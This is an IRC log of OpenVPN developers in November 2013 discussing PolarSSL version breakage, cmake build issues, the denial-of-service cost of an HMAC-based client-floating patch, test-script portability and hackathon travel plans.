maintainer ripped out _all_ 1.2.x builds, probably due to the CVE, not paying any attention to the 1.2.9 (well, .10 really with the memory leak) is still fine 08:05 <@pekster> Ugh 08:05 <@pekster> And clearly didn't bother to, say, test that it works with at least 1 downstream consumer (which it doesn't) 08:07 <@pekster> cron2: boot is more fun :P 08:07 <@pekster> boost* 08:08 <@pekster> And, thesedays, largely irrelevant, sans projects already too far into Wonderland 08:36 <@vpnHelper> RSS Update - tickets: #345: management interface reports incorrect state after TLS handshake failure and renegotiation <https://community.openvpn.net/openvpn/ticket/345> 08:36 <@pekster> syzzer: So, looking at POLARSSL_HAVEGE_C (which gentoo exposes as a build option to the user) there doesnt' appear to be a cmake lag for this. Is it enough to just flip the comment in include/polarssl/config.h, or is there more magic required to get cmake to play nice? 08:39 < syzzer> yes, that should suffice 08:40 <@pekster> Great, thanks. It's kind of ironc that gentoo both exposed this bug and is at the same time not that well configured to build it :P 08:40 <@pekster> Ugh, time for another cup of coffee or I'll start typoing the build file too.. 09:02 -!- dazo_afk is now known as dazo 09:06 <@dazo> cron2: configure vs cmake ... it's a battle neither can win :) 09:27 <@plaisthos> and then someone comes along and tries to do everthing better and we have another crappy tool 09:27 <@pekster> https://xkcd.com/927/ 09:27 <@vpnHelper> Title: xkcd: Standards (at xkcd.com) 09:27 <@plaisthos> yeah ;) 09:27 <@plaisthos> altough I like the pkg-config idea 09:28 <@plaisthos> instead of doing bazillions of c compilation just ask the system 09:32 <@dazo> yupp! 09:59 <@pekster> syzzer: At any rate, while I slap some sense into downstream, I did verify that the .so now has linkage to libz, so the fix looks good as far as cmake goes. `make` still breaks of course (but the readme does indicate users get to keep the pieces doing that) 10:13 < syzzer> pekster: good, thanks for testing. I'll send the patch to the polar guys. 10:14 < syzzer> btw, for the polar EC-stuff I also had to patch polarssl (in particular, the pkcs11 code), so the patches for OpenVPN will break functionality until polar accepts my patches :( 10:15 <@pekster> As far as the 1.2 -> 1.3 breakage on cipher_reset(), is there any concern for now with removing the iv_buf in an #ifdef for 1.3? 10:16 <@pekster> There is a note in the 1.3 polar sources about GCM requiring extra calls after this function, so I don't really understand the crypto implications of the 1.3 cipher_reset() API 10:16 <@pekster> Also, is there some changelog for the difference here, or is it a --use-the-source-luke thing? 10:19 < syzzer> well, upgrading from 1.2 -> 1.3 involves re-evaluation your crypto code, so I would not recommend fixing stuff without understanding the crypto implications 10:20 < syzzer> if there is no-one to take a look at the crypto, I 10:20 < syzzer> if there is no-one to take a look at the crypto, I'd say stick to 1.2 10:20 <@pekster> I see. So, in light of that, are point-releases intended to be installed side-by-side? The potential issue I see here is that a project doing `gcc .. -lpolarssl` will get whatever libpolarssl.so symlinks too, so that breaks if projectA expects 1.2 API and projectB expects 1.3 API 10:21 < syzzer> afaik 1.2 and a.3 have a different so-version 10:23 < syzzer> which means that indeed point-releases can be installed side-by-side 10:24 <@pekster> Yea, just trying to do this the "right way" downstream, ultimately allowing the builds to work again with distro-default settings at least 10:25 <@pekster> Sounds like I should also add that max version cap as an openvpn patch too, since 1.3 is likely to remain broken until it can get a good crypto review/update (if ever) 10:25 <@pekster> ie: openvpn bug #343 10:36 < syzzer> I think a POLARSSL_MAX_VERSION is the right way to do this 10:38 < syzzer> as soon as all remaining issues are fixed in the polar 1.3 branch we can update to polar 1.3 10:39 <@pekster> Yup, since point-releases are not stable, we need a max version; we can modify min/max as required based on the openvpn codebase 10:39 <@pekster> I'll try to get a patach for that in the new few days unless someone bets me to it 10:43 <@pekster> fwiw, I also noted the current state of things in the ticket 11:13 <@pekster> Hmm, why does the SOVERSION change from f.ex 1.2.8 -> 1.2.10? :\ 11:13 <@pekster> TBH, the upstream policy on API compatability seems really bad 11:25 <@cron2> "move all the API compatibility ugliness downstream, pride yourself on how clean your code is"? ;-) 11:26 <@pekster> Right, this really sucks for distros now 11:32 <@pekster> There's a reason standard version practice is to take backwards-incompatable changes and require another _major_ version bump when you do that; it's both to inform downstream that "hey, this won't work like it used to", and discourage developers from doing it 11:32 <@pekster> I'll limit my ranting here on the topic, but this is officially a mess 11:33 <@pekster> Dunno, some docs defining what exactly API consumers can expect would be helpful to clarify things moving forward 12:00 <@mattock> cron2: one tiny detail regarding arriving to the city using S1/S8 from the airport... 12:01 <@mattock> is the "single ticket" (2,60€) good enough, or do I/we need to buy something more expensive? 12:19 -!- raidz is now known as raidz_away 12:19 <@pekster> Ugh, I need to try a different mail client; it keeps mangling the first line of my patches, hosing the GPG sig :( 12:21 -!- raidz_away is now known as raidz 12:24 <@ecrist> it showed up ok for me 12:24 <@pekster> First line has >Frome 12:24 <@ecrist> GPGMail + Mac Mail.app puts a little box around the part that's signed, and indicates it as such 12:25 <@pekster> From* 12:25 -!- mattock is now known as mattock_afk 12:25 <@pekster> No, the attachments 12:25 <@pekster> If you save them and try a `gpg verify` on the .sig, it'll fail; remove the MUA-added ">" character and it'll pass 12:25 <@ecrist> http://secure-computing.net/files/mail.png 12:25 <@ecrist> ah 12:26 <@pekster> I can't put the patches inline becuase cleartext-inline sigs replace the "---" lines in the patch syntax with "- ---" so it won't conflict with the GPG-header-lines 12:27 <@pekster> (which of course git won't accept, nor will `patch`) 12:28 <@ecrist> heh 12:28 <@ecrist> what a PITA 12:30 <@pekster> Yea, stupid mail client. The email looks right in my sent items, but Thunderbird likes to mangle .patch files (IIRC if I rename it .jpg it works. Stupid client) 14:20 <@cron2> mattock: no, munich public transport is segmented into "rings", and airport to city crosses 4 rings/zones -> it's about 10 EUR 14:21 <@cron2> the 2,60 EUR "single trip" is "single trip, 1 zone" - that's good enough for the inner region (subway range) but the airport is far out 14:21 <@cron2> iirc someone is meeting at the airport already - there's a "partner day ticket" which is valid for two adults (and unlimited children), 24 hours, and should be about 20 EUR 14:37 <@vpnHelper> RSS Update - gitrepo: Require a 1.2.x PolarSSL version <https://github.com/OpenVPN/openvpn/commit/7fc9245f5d97c7d76c635f8a3e38ab55ab27b27b> 14:48 <@plaisthos> cron2, mattock_afk: me and syzzer are are meeting at 10:30 at the airport 14:51 <@plaisthos> cron2: I decided against sending a new dualset patch set. I look at them and I think I want the option changes/newly introduced options discussed before investing 2-3h to the cherry pick merge a tiny change from later fix, cherry pick again, fix the brokage game 14:52 <@plaisthos> but the current version of the patches is: https://github.com/schwabe/openvpn/commits/dualstack5 14:52 <@vpnHelper> Title: Commits · schwabe/openvpn · GitHub (at github.com) 14:53 <@dazo> I'll arrive the airport at 14:20 (LH 2451) 14:53 <@plaisthos> Everyone flies with Lufthansa %) 14:54 <@dazo> Munich, proud sponsor of Lufthansa :) 14:55 <@plaisthos> :) 14:55 <@plaisthos> dazo: sorry. But I don't think that we wait for you 14:56 <@dazo> no offence taken :) 14:56 <@cron2> plaisthos: yeah, let's discuss that this weekend 14:57 <@cron2> (there is a risk that we end up discussing options longer than it would take to review the code, and no decision is taken at the end...) 15:00 <@plaisthos> cron2: I hope it does not come to that 15:00 <@plaisthos> munich s-bahn page is confusing 15:01 <@plaisthos> I found out that a week ticket costs me ~35 EUR but I have not yet found out what a single fare costs 15:04 <@cron2> ~10 EUR for the trip airport->city center 15:04 <@cron2> "4 Zonen" 15:05 <@plaisthos> yes 15:06 <@plaisthos> or the "MVV Airport-City-Day-Ticket" 15:06 <@cron2> whatever *that* is 15:07 <@plaisthos> a day card with a fancy name appearently 15:08 <@plaisthos> only difference seems to be that this does not need to be stamped 15:08 <@plaisthos> and the fancy name 17:02 <@ecrist> mag stripes? 17:02 * ecrist has an encoder 17:03 <@ecrist> too little, too late, I suppose 17:33 <@pekster> syzzer: Another portability issue with the cmake stuff; a NULL rpath value is hard-coded into the examples, which looks like its coming from the build system itself :\ 17:33 <@pekster> Both DT_RPATH and DT_RUNPATH are deinfed to NULL 17:40 <@pekster> Hmm, http://www.cmake.org/pipermail/cmake/2009-February/027262.html seems relevant. I'll dig a bit further, but I don't really think polarssl needs to be setting any rpath at all (works fine without it using autoconf+make.) 17:40 <@vpnHelper> Title: [CMake] Remove all rpaths on install (at www.cmake.org) 17:41 <@pekster> As usual, I'm not that well versed in the CMakeLists.txt stuff, so not really sure "what" is causing that 18:26 -!- dazo is now known as dazo_afk 18:53 <@pekster> Yay, more users confused by the product naming scheme. :( --- Day changed Fri Nov 15 2013 06:21 -!- mattock [~yaaic@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:21 -!- mode/#openvpn-devel [+o mattock] by ChanServ 06:23 <@mattock> got into the motel, but have to chill out for a while before heading to space.net 06:24 <@mattock> I'll be there around five 06:35 <@cron2> mattock: what happend? 06:35 <@cron2> (but anyway, glad to hear you made it :-) ) 06:40 <@mattock> let's just say that my recent sleep rhythm was entirely unsuited for waking up at 5am ;) 06:40 <@cron2> ok, I understand that :-) 06:41 <@mattock> I'll take a nap so that I'm not in total comatose in a few hours 06:41 <@cron2> enjoy :) 06:46 <@cron2> https://community.openvpn.net/openvpn/wiki/Patches 06:46 <@vpnHelper> RSS Update - gitrepo: Implement custom HTTP header for http-proxy, and always send user-agent: <https://github.com/OpenVPN/openvpn/commit/d0cb816cf8be68359617b61a55799f6330901f6a> 06:46 <@vpnHelper> Title: Patches – OpenVPN Community (at community.openvpn.net) 07:26 < Hes> I've been crawling the source code a bit, around mudp.c:multi_get_create_instance_udp and ssl.c:tls_pre_decrypt_lite ... 07:27 < Hes> Is my understanding right - if the source UDP port of a client changes, due to a NAT timeout on the path for example, the server will quietly ignore the packets, until the client discovers the tunnel is down through the ping-keepalive method? 07:28 < Hes> I was hoping the server could identify the incoming UDP packets to belong to the same VPN client session based on a session ID of some sort. 07:30 <@cron2> there is a --float patch floating around on the list that will help the server recognize the client if IP or port changes, based on crypto bits - but I admit that I did not look much into it yet 07:32 < Hes> Interesting. I'll try to catch and reel it in. 07:43 < Hes> http://article.gmane.org/gmane.network.openvpn.devel/7917 07:43 <@vpnHelper> Title: Gmane -- PATCH Floating: Add support for floating in TLS mode (at article.gmane.org) 07:45 <@cron2> yeah, that one 07:55 <@pekster> What did that patch offer exactly? What's it do over the existing --float support? 07:57 <@pekster> According to the manpage currently, "if packets arrive from a new address and pass all authentication tests, the new address will take control of the session." -- isn't that using the "crypto bits" to pass that auth check? 07:59 <@cron2> I'm not exactly sure, didn't review and didn't look into existing behaviour 08:00 <@cron2> if I got the gist right, there was something about --float not working in multiuser mode, just for point-to-point, or such 08:00 <@pekster> "this is the default if --remote is not used" -- I still don't get it 08:01 <@pekster> Though I guess I haven't test it :P 08:01 <@cron2> as I said, I'm not sure I fully understand the existing --float yet, never had the particular need 08:11 < Hes> The existing float does not work for me, I've tried quite a bit. 08:11 < Hes> If the source IP address or source UDP port changes, the packets are quietly dropped by the server. 08:12 < Hes> This is particularly annoying if you wish to have a longer keepalive ping timer (to save battery on a mobile device), UDP, and NAT (like on ~all mobile devices). 08:13 < Hes> The current multiuser server looks up the client structure based on the data packet's (source ip + source port) tuple, and then tries to authenticate the packet. If there's no client with that source ip+port, the packet is discarded. 08:13 <@cron2> hes: what does --float do, right now? 08:14 < Hes> I didn't figure that part out just yet. 08:14 < Hes> For multiuser, I have a feeling it does nothing. Trying to figure out, moment. 08:16 < Hes> I applied the patch and read through it (not very throughly yet). It has an immediate drawback: When there is no client found for the srcip+srcport pair, it then goes looking for one. 08:17 < Hes> It does that by scanning all clients (let's say 2000 clients?) and tries if the HMAC would match for any of those. 08:17 < Hes> I suppose that could be used to DOS the server a bit. 08:17 <@cron2> yep 08:17 < Hes> It would be much more efficient if the data packet contained a session ID, which could be used to look up the correct client instead of trying all one by one. 08:18 < Hes> But the data packet doesn't have one, right? To reduce space overhead. 08:18 <@cron2> I don't think it has, but I don't understand the on-the-wire protocol 08:18 < Hes> The session_id thing only goes in the control packets 08:18 <@cron2> there *is* a SSL session ID "somewhere" but that 08:18 <@cron2> yeah 08:18 <@cron2> :) 08:19 < Hes> If there would be a session id in the data packets, this would work *so* much better over NAT, and on mobile, where the device roams between wifis and 3G/4G all the time. 08:25 <@vpnHelper> RSS Update - gitrepo: Add reporting of UI version to basic push-peer-info set. <https://github.com/OpenVPN/openvpn/commit/f3a2cd255a3bc73a546a5e2d09fa30a16cce0d7d> 08:39 -!- mattock [~yaaic@openvpn/corp/admin/mattock] has quit [Ping timeout: 268 seconds] 08:47 < Hes> Ok, read the source a bit more. The current --float only works for non-tls-server-setups. 08:52 <@pekster> Oh, that makes some sense since there's not at (possibly large) list of HMACs to "check" against there (just the 1) 08:53 <@cron2> ? 08:53 <@cron2> pekster: you fully lost me now :) 08:54 <@pekster> cron2: So, I did try and float with some routing-table magic on a local test server, and it indeed fails (even with --float on the server, which is supposed to be the default anyway.) The server still tries to send keepalive packets to the old IP while the server sends with the new one without any reply to a ping across the tunnel 08:55 <@pekster> In p2p mode, there's only ever 1 possible client, so --float can assume that is the client that send packets (and drop packets that don't have a valid HMAC signature.) 08:57 < Hes> Yeah, in p2p mode, it can check the HMAC and just update the peer's IP address if the HMAC is good 08:58 <@pekster> fwiw, you can use TLS with --mode p2p, though I'm not sure if that makes --float not work too 08:58 < Hes> I don't think it does, there's currently no float code in ssl.c 08:58 <@pekster> The float would happen on the received data channel though, not the "SSL" session 08:59 < Hes> But I personally need to support a whole bunch of clients. 09:00 <@cron2> pekster: ah, that was the reference to "just the 1" (p2p mode). Now I see what you meant 09:02 <@pekster> The big issue with a "search through list of clients hoping for an hmac match" solution (besides ddos potential above) is that it's on by default on servers, making that extra-bad unless there was another way to go about identifying a session 09:02 <@pekster> Dunno, tricky problem to solve 09:03 < Hes> I think the search should be avoided by having a session ID in the data packets. 09:04 < Hes> It doesn't need to be huge, just big enough to identify all current clients (32 bits? 16 bits?) 09:04 < Hes> then the client would be looked up by that ID instead of sourceip+srcport 09:05 < Hes> That would then be a new incompatible protocol, would have to support the old clients too. 09:05 < Hes> The ssl session_id is currently 64 bits. 09:06 < Hes> 8 bytes, some might care about that much overhead. Or may not. 09:12 <@cron2> pekster, hes: if we add a session id, it would be changing the on-the-wire format - and that's hard to do, I think 09:14 <@pekster> Right, that's what I meant by hard to solve. To avoid a (possibly) full client crypto search on every unidentified packet, it's impossible to correlate a data packet with a session outside of an ID that is outside the encrypted packet (which we don't have today) 09:20 < Hes> Well, I tested Andre's patch. It worked, and at least didn't crash immediately. 09:20 < Hes> Nov 15 15:18:01 gw ovpn-udp[9964]: hessu/85.188.36.24.36:58639 MULTI: Detected floating by hmac test, new client address: [AF_INET]85.188.36.24.36:58640 09:20 < Hes> Nov 15 15:18:01 gw ovpn-udp[9964]: hessu/85.188.36.24.36:58640 MULTI: Floated with HMAC authentication to a new client address: [AF_INET]85.188.36.24.36:58640 09:21 < Hes> I'll reply to him and raise this a bit on the mailing list. 09:36 -!- mattock_afk is now known as mattock 09:38 -!- dazo_afk is now known as dazo 09:39 <@cron2> hes: thanks. The bit about the scalability we need to understand and then agree what we want 09:39 <@vpnHelper> RSS Update - gitrepo: Fix argument type warning introduced by http extra proxy header patch. <https://github.com/OpenVPN/openvpn/commit/16e24daaba4432e0a905478bab23b65f904be135> 09:40 <@pekster> That, and if (as the manpage currently states) --float is the default, we want to be careful to consider if that makes sense for an option that could ddos certain types of setups 09:52 < Hes> The dos is probably relevant only on servers which really have large number of clients. 09:53 < Hes> Depending on my workload I might consider doing a prototype with the session ID approach. 10:08 <@cron2> we just decided that we want to get James' input on this (who has gone to sleep :-) ) 10:09 <@dazo> pekster: hey! I'm looking at your chroot patch now :) 10:09 < Hes> You're having some IRL meeting right now? 10:09 <@dazo> Yeah, arrived 45 min ago 10:10 < Hes> Ah, where are you? 10:10 <@pekster> dazo: Had to go to Munich for that, 'eh? :P 10:10 <@dazo> heh ... yeah :) 10:11 <@dazo> best way to clean your calendar for some real work :p 10:12 <@dazo> pekster: It's a while since I've looked at openvpn code unfortunately ... so this is a very stupid question :) ... Is there a particular reason you chose to use gc_arena for the chroot tackling in check_file_access()? 10:12 <@pekster> Because strcpy is bad? 10:12 < Hes> Hm, I would have had some other stuff to do in Munich too. OTOH, good that I'm not flying, the airports still might go on strike here... 10:13 <@dazo> pekster: fair enough :) ... I have currently forgotten some of the memory management parts in openvpn :) 10:13 <@pekster> dazo: So, the alloc_buf_gc() is far cleaner than forming the string combination of o->chroot_dir and the actual passed path (plus the path separator) via strcpy -- that's a function best avoided, and we already have all the buffer/string code via gc-accessible buffers anyway 10:14 <@pekster> fwiw, I did try to pull in the gc_arena struct from the main options loop, but that was passing the stupid pointer in so many levels I decided against it; this is on-init only (and when we're not ENABLE_SMALL) so the penalty is small 10:15 <@pekster> It was super-ugly for almost no gain 10:15 <@dazo> right ... yeah, I was thinking slightly about the code complexity which gc_arena stuff adds ... but yeah, it's not a too bad thing to have 10:21 <@vpnHelper> RSS Update - gitrepo: tls_ctx_load_ca: Improve certificate error messages <https://github.com/OpenVPN/openvpn/commit/9927cdbd929bebbba0d15bb9a6b03453891a485b> 10:30 < Hes> Another thing is... especially with a large ping interval... 10:31 < Hes> If a server discards an incoming packet, for example, after a restart or session timeout, it does not reply to it in any way. 10:31 < Hes> Maybe it could send a "REJ" packet of some sort to data packets it rejected. 10:32 < Hes> So that the client could then initiate the connection again. If using TCP, you get the TCP rejection, but we'd like to use UDP for the better performance (no double TCP retransmits, etc). 10:51 < Hes> Andre's patch is now merged in my git branch if someone wants to give it a whirl, https://github.com/hessu/openvpn/tree/tls-float-andre 10:51 <@vpnHelper> Title: hessu/openvpn · GitHub (at github.com) 10:52 < Hes> there were some extra newlines in the patch on the mailing list 10:55 <@pekster> Replying to bogus traffic sounds like an awful idea 10:57 < Hes> Replying isn't that bad, if the reply is small and you don't keep state based on the bogus traffic. All servers do that, even openvpn, at least for the packet initiating a connection. 10:57 <@vpnHelper> RSS Update - gitrepo: Document authfile for socks server <https://github.com/OpenVPN/openvpn/commit/e0a7471f250e25a384a23dfb9efd2ffef83be913> 10:57 < Hes> Also, most of the time it isn't bogus traffic - it could be that a NAT timeout or such has happened for the client, or the server has been restarted, and the client should be informed that "sorry, I don't know you, you need to do a reconnect" 10:58 < Hes> Would make the reconnect much quicker if the client would get that information. TCP does that, why wouldn't our UDP protocol do the same? 10:59 <@pekster> "our" ?? 10:59 < Hes> openvpn's. 10:59 <@pekster> UDP is IETF's protocol, not openvpn's 10:59 < Hes> Well, I was referring to the openvpn protocol running on top of UDP. 10:59 <@pekster> OpenVPN intentionally drops packets on the floor that don't pass security checks 10:59 <@pekster> OpenVPN is not the one that replies when you have a bad TCP socket; the TCP stack is 10:59 < Hes> Yeah, I'd argue that it would be useful for OpenVPN to reply. 11:00 <@pekster> That's now TCP works, by definition, and one of the main reasons openvpn is generally not recommended to be run over TCP 11:00 <@pekster> Doing that is a huge (IMO) disaster as UDP packets are easier to spoof 11:00 <@pekster> Now you can induce huge load on arbitrary external hosts in on the Internet -- let's not turn openvpn into a mechanism to do that, certainly not by default 11:01 < syzzer> replying when security checks fail is usually a bad plan, it's prone to introduce side-channel attacks 11:01 <@pekster> If you want a stateful aware protocol, go use TCP and call it a day 11:01 <@pekster> Right 11:01 < syzzer> op the openvpn protocol level, I leave this to people with more knowledge on the networking side of things :) 11:01 < Hes> TCP on top of TCP has other drawbacks, wouldn't like to go there. 11:04 < Hes> If the "I don't know you" reply is small enough, it's sizewise not much different from the TCP REJ or ICMP error packet you'd get otherwise. As long as you don't produce an amplification effect, it's not so much of an useful thing as a DDOS amp. 11:04 < Hes> I understand that many would like to keep it from not replying at all to incoming packets which don't pass security checks. 11:05 < Hes> But then, they're not going to run the TLS server, since it does reply. Unless the additional preshared key is installed. 11:08 < Hes> My practical problem is that currently the VPN client will only detect a stale session by the keepalive pings missing. And doing constant keepalives on a mobile device drains battery quite a lot. And with a long keepalive it won't figure out that the session is stale... 11:08 < Hes> And on a mobile network, tcp-over-tcp is particularly lousy. 11:11 <@plaisthos> https://www.codeaurora.org/projects/security-advisories/missing-access-checks-putusergetuser-kernel-api-cve-2013-6282 11:11 <@vpnHelper> Title: Missing access checks in put_user/get_user kernel API (CVE-2013-6282) | Code Aurora Forum (at www.codeaurora.org) 11:14 <@pekster> I understand your goal, but that's the wrong way to solve it 11:15 < Hes> I'm happy to hear about good alternatives! 11:16 <@pekster> YOu don't "otherwise" get ICMP packets 11:16 <@pekster> OpenVPN does _not_ reply, by design, to packets that are bogus 11:17 <@pekster> If TCP closes a connection, that's TCP's business; openvpn has no care in the world what TCP is doing 11:18 <@pekster> The issue for you it seems is that float support currently doesn't work; so long as you don't mind iterating over all the client sessions hunting for an HMAC, that's a decent option to enable that so long as sites that don't want that behaviour can leave it off (think 10k pps each cycling through 1-2k clients -- we've had users on the ML with that many) 11:19 <@pekster> The part I take issue with is "no one has a better option, so let's reduce security becuase my use-case doesn't work well currently" is bad reasoning 11:19 < Hes> You get ICMP packets from any number of other hosts on the Internet, and probably most of the openvpn servers, on other ports not currently occupied by an openvpn server (unless suitably firewalled). So there would not be much incentive in using one for DDOS attack. 11:20 <@pekster> .. 11:20 <@pekster> OpenVPN does _NOT_ use ICMP, UDP, or TCP as a signaling method 11:20 <@pekster> OpenVPN uses the TLS control channel for this. Stop drawing comparisons that aren't there 11:21 < Hes> Just wanted to point out that the DDOS relay point was a bit moot, IMO. 11:21 <@pekster> ICMP messages will be sent by the kernel. Most of the firewalls I configure in the industry-standard "drop and don't reply to" bogus traffic 11:21 <@pekster> No, not really. Hosts run firewalls 11:21 <@pekster> If all hosts were unfirewalled, your point would be true 11:21 <@pekster> This is a really silly conversation; are you actually suggesting openpvn spit back a "your packet was rejected due to invalid sesion or bad security check on your packet" ?? This is a huge security no-no 11:23 < Hes> Hm, most services which do authentication do give a positive or negative ack after the auth attempt, it as such isn't much of a problem. 11:23 <@pekster> FFS, this isn't auth, this is _every_ single packet 11:23 <@pekster> The packet isn't the authentication; that's the purpose of the X509 or --auth-user-pass checks 11:23 < Hes> security-wise. As long as you don't leak other info (such as reason for reject). 11:24 < Hes> Cool down, man. 11:24 <@pekster> See syzzer's point above; he's much more in-touch with the potential for abuse here from a cryptographic standpoint 11:24 <@pekster> So yes, any kind of active-reject reply on a per-packet basis leaks info to the attacker 11:25 <@pekster> OpenVPN goes well out of its way not to leak any kind of information to enable such attacks; a nice reference is the constant-time-memcmp functions due to a recent CVE on the subject 11:25 <@vpnHelper> RSS Update - gitrepo: t_client.sh: Check for fping/fping6 availability <https://github.com/OpenVPN/openvpn/commit/f0892e6590cb247ef1012b0fe89f80eee2d56cc4> 11:26 <@pekster> The packet isn't what authenticates the client; the successful client authentication is what authenticates a client 11:26 -!- mattock is now known as mattock_afk 11:30 < Hes> The packet's HMAC authenticates the packet... just started pondering what sort of attacks could the tls-float patch open up. 11:32 <@pekster> From what I've read of the patch, no much beyond ddos by capping out the downlink b/w with bogus packets that hit the else if in mudp.c 11:33 <@pekster> My guess is that is significant for sites with high available bandwidth and "lots" of clients 11:33 <@pekster> Unless I'm missing something, there's no accomodation in that patch to _not_ call multi_find_instance() 11:36 -!- dazo is now known as dazo_afk 11:36 < Hes> That's right 11:37 <@pekster> That, along with the concept of --float set as the effective default, are my main complaints; otherwise, as I've stated, I see the benefit to wanting to float based on HMAC auth. I just don't want it to force the potential for targeted abuse as a result with no way to stop it 11:37 <@pekster> Again, picture >=10k pps that each have to cycle through that function for some thousands of connected clients. I haven't benchmarked it, but that sounds pretty bad 11:38 < Hes> I'm hoping to be able to do a couple thousand clients per node in the cluster. 11:38 < Hes> And it does sound pretty bad. 11:40 <@pekster> Dunno how realistic 10k pps is (I just made it up) but assuming sufficient bandwidth, the main goal of an attacker is to send lots of tiny packets to call multi_find_instance_udp() as much as possible. Let's assume for a moment that's feasible; 10k pps * 2k clients (I've connected 1k clients on low-end hardware, so this isn't unreasoanble) and you get 20M calls to crypto_test_hmac per second 11:40 <@pekster> Don't really even need 10k pps to end up making that number high enough to sound scary 11:44 <@pekster> Hmm, there is !m->top.options.ce.remote_float in multi_find_instance_udp() -- I wonder why that wasn't included in the calling function since it's passing in the multi_context pointer from there anyway 11:44 <@pekster> Seems a bit pointless to allocate memory and then free it if that value doesn't match 12:09 <@pekster> Looks to me like floating does work, but over the TLS link only 12:25 <@pekster> Ah, I think this is why: https://github.com/OpenVPN/openvpn/blob/92d21e3/src/openvpn/ssl.c#L2804 12:25 <@vpnHelper> Title: openvpn/src/openvpn/ssl.c at 92d21e3fed33aad966b7b0ca6568e0cda8c7a8b5 · OpenVPN/openvpn · GitHub (at github.com) 12:26 -!- m-a [mandree@cl-2367.cgn-01.de.sixxs.net] has joined #openvpn-devel 12:27 <@pekster> If the actual from address doesn't match the remote_addr var in the key_state struct, the data channel packet gets dropped 12:27 < m-a> dazo_afk: the t_client.sh patch on the list is bogus, "which" is not portable. 12:34 < ngharo> does anyone have the ability to close github pull requests? 12:35 < ngharo> see: https://github.com/OpenVPN/openvpn/pull/4 12:35 <@vpnHelper> Title: tls_ctx_load_ca: Improve certificate error messages by kdienes · Pull Request #4 · OpenVPN/openvpn · GitHub (at github.com) 13:35 -!- Netsplit *.net <-> *.split quits: @andj 13:38 -!- Netsplit over, joins: andj 13:38 -!- mode/#openvpn-devel [+o andj] by ChanServ 13:54 <@ecrist> I thought I did, but I don't. 13:54 * ecrist pokes mattock 15:26 -!- novaflash is now known as novaflash_away 15:37 <@cron2> m-a: which platforms would not have it? I spot-checked all my BSDs plus Linuxes, and they all have it 15:37 <@cron2> and opensolaris also has it 15:38 <@cron2> (and they all return a non-zero exit on "not found" and 0 on "found") 16:02 <+krzee> even my android has it 16:09 < m-a> cron2: Don't bother introducing non-portable stuff, that's a principle 16:09 < m-a> sooner or later it will hurt. 16:10 < m-a> You can't rely on output anyways 16:10 < m-a> my linux doesn't have fping, nor fping6 16:13 < m-a> do all systems have identical semantics for which? 17:02 -!- novaflash_away is now known as novaflash 20:57 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 268 seconds] 21:02 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 21:02 -!- mode/#openvpn-devel [+o andj] by ChanServ --- Day changed Sat Nov 16 2013 00:56 <@cron2> m-a: well, the non-existance of fping/fping6 is exactly why that patch was introduced - which is everywhere (... that we run on) and the semantics are close enough - and we didn't want to spend lots of time to introduce perfectly portable code to find whether or not fping/fping6 is there 00:57 <@cron2> if we ever port openvpn to a new architecture, t_client.sh is one of the bits that need careful checking anyway, as it's calling route/netstat/ifconfig and that's very system specific 01:53 <@d12fk> cron2: are you already there? 01:59 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 256 seconds] 02:00 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 02:32 < m-a> cron2: so my question again is, do all systems we support have identical semantics for "which", regarding exit codes? 02:32 < m-a> or would queries like these perhaps best be anticipated by and moved into configure.ac? 02:38 <@cron2> d12fk: yep 02:39 <@cron2> m-a: all systems we support have identical semantics for "which" regarding exit codes, yes (assuming that all Linux distributions do, but since gentoo/debian/redhat do, I assume so) 02:40 <@cron2> system support is limited by availability of "tun" devices, so more obscure unix-like things (AIX, SCO, ...) can not be supported anyway 02:41 < m-a> I know, but we would unnecessarily skip the test on Ubuntu 12.04LTS, for instance. 02:41 <@cron2> seriously? 02:41 < m-a> mandree@apollo:~/VCS-other/openvpn.git$ which fping ; echo $? 02:41 < m-a> 1 02:41 < m-a> mandree@apollo:~/VCS-other/openvpn.git$ which fping6 ; echo $? 02:41 < m-a> 1 02:41 <@cron2> uh, moment 02:42 < m-a> fping is apparently not in the default install, although available as package 02:42 <@cron2> but that is the point: if fping is not there, do not fail the test, print a message and skip 02:42 < m-a> so if we add this as requirement, we need to document it 02:43 <@cron2> t_client tests need extensive preparations anyway (you need a server, you need a t_client.rc config), so it's not a requirement for a "normal build" 02:43 < m-a> I was about to mention "we should not second-guess what the exe is doing", but a grep -rl on the entire git master checkout comes up with just t_client.sh.in 02:44 < m-a> IOW we need to extend INSTALL 02:45 <@cron2> t_client is the "run openvpn clients to well-defined reference servers, check if 'ifconfig' shows to-be-expected IPv4 and IPv6 addresses when openvpn is up, and test that the tunnel is actually working" tests 02:45 < m-a> oh and it would seem fping.com was usurped by a domain parker or something 02:46 <@cron2> I agree with you on INSTALL, it should point out that t_client tests need fping, and point to the sample file so people can setup a test rig for that if they want 02:47 <@cron2> (there is no "open for the public" test server, as the "did I get the right IP address?" test is tied to a particular client, and fails if multiple client connect at the same time and do not have their own certificate = their own IP) 02:47 < m-a> yup 02:48 <@cron2> will send a patch later today 02:48 < m-a> http://fping.org/ is what FreeBSD uses 02:48 <@vpnHelper> Title: fping 3 Homepage (at fping.org) 02:49 < m-a> Debian uses an old version from a web site that no longer exists, but apparently someone saved the older fping 2 on http://fping.sourceforge.net/ some six years ago 02:49 <@vpnHelper> Title: fping - a program to ping hosts in parallel (at fping.sourceforge.net) 02:58 < m-a> cron2: would you then also change the two fping[6] is not available echo command to redirect to stderr, by means of >&2? 02:58 < m-a> errors belong on fd 2# 02:59 <@cron2> that certainly makes sense, yes 02:59 * m-a needs coffee to wake up the language center in his brain 8-) 03:00 * cron2 hands over a huge mug of coffee :-) 03:09 < m-a> thanks 03:09 -!- dazo_afk is now known as dazo 04:36 <@mattock_afk> here's a preliminary summary of the 2.4/3.0 discussion: https://community.openvpn.net/openvpn/wiki/Topics-2013-11-16 04:36 <@vpnHelper> Title: Topics-2013-11-16 – OpenVPN Community (at community.openvpn.net) 04:42 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 245 seconds] 04:53 <@cron2> mattock: I'm keeping notes in the "Hackathon" page as well :) 05:02 <@mattock_afk> I can merge my notes to your notes once we're done 05:18 <@dazo> m-a: Hey! I saw your discussion with cron2 ... and I agree basically with him. t_client.sh isn't written with portability in mind and it only runs if you have configured a t_client.rc file 